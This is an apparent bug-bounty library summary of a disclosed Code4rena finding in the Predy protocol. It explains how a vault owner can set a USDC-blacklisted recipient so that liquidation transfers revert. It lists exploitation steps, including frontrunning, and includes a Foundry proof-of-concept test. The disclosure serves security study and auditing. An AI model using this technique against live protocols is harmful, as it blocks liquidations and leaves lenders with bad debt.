# Vaults can become immune from liquidation by setting vault.recipient to a blacklisted quote token address

Vault owner sets vault.recipient to a USDC-blacklisted address, causing safeTransfer of positive remaining margin to revert and blocking liquidation.

- Payout: Audit contest
- Severity: medium
- Program: Predy
- Found by: LuarSec
- Disclosed: 2024-07-16
- Write-up quality: 6/10
- Original: https://github.com/code-423n4/2024-05-predy-findings/issues/42
- Library page: https://bugbountylibrary.com/r/c4%3A2024-05-predy%3AM-06
- Tags: area:web3 domain:web3 impact:dos impact:funds-loss kind:contest platform:code4rena sev:medium tech:evm tech:solidity technique:source-review vuln:business-logic vuln:dos

**Target:** PredyPool.updateRecepient / LiquidationLogic.liquidate
**Root cause:** LiquidationLogic.liquidate unconditionally safeTransfers positive remaining margin to vault.recipient; if recipient is blacklisted by the quote token (e.g. USDC), the transfer reverts and the whole liquidation fails. updateRecepient lets the owner set any address.
**Steps:**
1. Create/open a vault and take a position via a trade so vault.margin is positive.
2. Move price unfavorably so the vault becomes liquidatable with positive remaining margin.
3. As vault owner call `PredyPool.updateRecepient(vaultId, 0x0E6b8E34dC115a2848F585851AF23D99D09b8463)` (USDC-blacklisted address).
4. Liquidator calls `execLiquidationCall(vaultId, 1e18, settlementData)`; LiquidationLogic.liquidate reaches `ERC20(quoteToken).safeTransfer(vault.recipient, remainingMargin)` which reverts `Blacklistable: account is blacklisted` -> `TRANSFER_FAILED`.
5. Optionally frontrun each liquidation attempt with updateRecepient and revert afterward.
**How found:** Code review of LiquidationLogic.liquidate's safeTransfer to vault.recipient combined with knowledge that supported quote tokens (USDC on Arbitrum) revert on blacklisted recipients; confirmed via Foundry test with a blacklist-aware MockERC20.
**Exploitation:** Attacker maintains an unhealthy vault with positive margin and sets recipient to a quote-token-blacklisted address, making every liquidation attempt revert at the margin transfer. Repeated frontrunning of updateRecepient sustains the DoS, leaving bad debt unliquidated.
**Insight:** When a protocol pays out to a user-controlled recipient using a token with transfer restrictions (blacklists, hooks), that recipient becomes a griefing lever: any revert in the payout path blocks the whole liquidation/settlement. Check payout recipients against token restrictions or isolate the transfer.

## Proof of concept (copied exactly from the original report)

**Forge test proving blacklisted recipient blocks liquidation**

```
function test_audit_LiquidateBlacklist() public {
        address blacklisted = 0x0E6b8E34dC115a2848F585851AF23D99D09b8463;
        // taken from testLiquidateSucceedsIfVaultIsDanger case
        IPredyPool.TradeParams memory tradeParams =
            IPredyPool.TradeParams(1, 0, -4 * 1e8, 0, abi.encode(_getTradeAfterParams(1e8)));

        // malicious user trades through their own market contract
        _tradeMarket.trade(tradeParams, _getSettlementData(Constants.Q96));

        // simulate unfavorable market move
        _movePrice(true, 6 * 1e16);
        vm.warp(block.timestamp + 30 minutes);

        // malicious user sets their vault.recipient to blacklisted address
        vm.startPrank(address(_tradeMarket));
        predyPool.updateRecepient(1, blacklisted);
        vm.stopPrank();

        //vault cannot be liquidated, inner error is "Blacklistable: account is blacklisted"
        vm.startPrank(liquidator);
        vm.expectRevert("TRANSFER_FAILED");
        _tradeMarket.execLiquidationCall(1, 1e18, _getSettlementData(Constants.Q96 * 11000 / 10000));
        vm.stopPrank();
    }
```

**MockERC20 blacklist modifier reverting transfers**

```
modifier notBlacklisted(address _account) {
        require(_account != 0x0E6b8E34dC115a2848F585851AF23D99D09b8463, "Blacklistable: account is blacklisted");
        _;
    }

    function transfer(address to, uint256 amount) public override notBlacklisted(to) returns (bool) {
        return super.transfer(to, amount);
    }
```

